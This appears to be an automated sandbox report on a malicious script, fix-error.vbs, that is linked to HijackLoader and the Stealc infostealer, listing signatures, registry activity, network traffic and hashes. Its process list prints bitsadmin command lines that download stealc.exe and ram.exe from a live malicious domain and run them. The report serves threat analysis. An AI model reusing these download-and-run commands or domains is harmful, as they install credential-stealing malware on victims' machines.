Analysis Overview
SHA256
92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
Threat Level: Known bad
The file fix-error.vbs was found to be: Known bad.
Malicious Activity Summary
HijackLoader
Detects HijackLoader (aka IDAT Loader)
Stealc
Downloads MZ/PE file
Download via BitsAdmin
Blocklisted process makes network request
Detected potential entity reuse from brand GOOGLE.
Suspicious use of SetThreadContext
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Program crash
Script User-Agent
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Modifies Internet Explorer settings
Kills process with taskkill
Delays execution with timeout.exe
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-17 09:42
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-17 09:42
Reported
2024-10-17 09:44
Platform
win7-20240903-en
Max time kernel
125s
Max time network
124s
Command Line
Signatures
Detects HijackLoader (aka IDAT Loader)
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
HijackLoader
Stealc
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Downloads MZ/PE file
Detected potential entity reuse from brand GOOGLE.
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2596 set thread context of 1944 | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | C:\Windows\SysWOW64\cmd.exe |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\explorer.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\explorer.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\SysWOW64\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\SysWOW64\explorer.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\explorer.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 2616
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
C:\Windows\SysWOW64\timeout.exe
timeout /t 30 /nobreak
C:\Users\Admin\AppData\Local\Temp\stealc.exe
"C:\Users\Admin\AppData\Local\Temp\stealc.exe"
C:\Windows\SysWOW64\timeout.exe
"C:\Windows\System32\timeout.exe" /T 2 /nobreak
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
C:\Users\Admin\AppData\Local\Temp\ram.exe
"C:\Users\Admin\AppData\Local\Temp\ram.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 2616
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 808
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 142.250.179.238:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | us18web-zoom.us | udp |
| US | 104.21.77.48:443 | us18web-zoom.us | tcp |
| US | 8.8.8.8:53 | webapizmland.com | udp |
| US | 104.21.2.186:443 | webapizmland.com | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.117.18:80 | crl.microsoft.com | tcp |
| ES | 95.182.97.58:80 | tcp | |
| ES | 95.182.97.58:80 | tcp |
Files
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\favicon[1].ico
| MD5 | f3418a443e7d841097c714d69ec4bcb8 |
| SHA1 | 49263695f6b0cdd72f45cf1b775e660fdc36c606 |
| SHA256 | 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770 |
| SHA512 | 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563 |
memory/2596-21-0x0000000000400000-0x0000000000561000-memory.dmp
memory/2596-22-0x00000000718C0000-0x0000000071A34000-memory.dmp
memory/2596-23-0x00000000773A0000-0x0000000077549000-memory.dmp
memory/2596-37-0x00000000718C0000-0x0000000071A34000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\e08c9868
| MD5 | 12507d572b570facebbec5aebefeae6e |
| SHA1 | 9c256107da9675e6738b4755e680160b3b4129c8 |
| SHA256 | a39cf0af479e97f78371a9f72b63ec72a5653e5658386e3cd9b7eae9e01a2924 |
| SHA512 | 888ee87b59e079604bc3d7a00bb70f4a490f7299b67bdc5feec0af7373dea0c4db4315456488b91b0bc28d92d3baf9911a6ffdd26f1119c38611a70e77adc135 |
memory/1944-40-0x00000000773A0000-0x0000000077549000-memory.dmp
memory/1944-41-0x00000000718C0000-0x0000000071A34000-memory.dmp
memory/1036-43-0x0000000000680000-0x00000000008E3000-memory.dmp
memory/1036-44-0x00000000773A0000-0x0000000077549000-memory.dmp
memory/1036-45-0x0000000000680000-0x00000000008E3000-memory.dmp
memory/1036-49-0x0000000000680000-0x00000000008E3000-memory.dmp
memory/1036-50-0x0000000000680000-0x00000000008E3000-memory.dmp
memory/1036-53-0x0000000000680000-0x00000000008E3000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-17 09:42
Reported
2024-10-17 09:44
Platform
win10v2004-20241007-en
Max time kernel
135s
Max time network
125s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 142.250.187.206:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |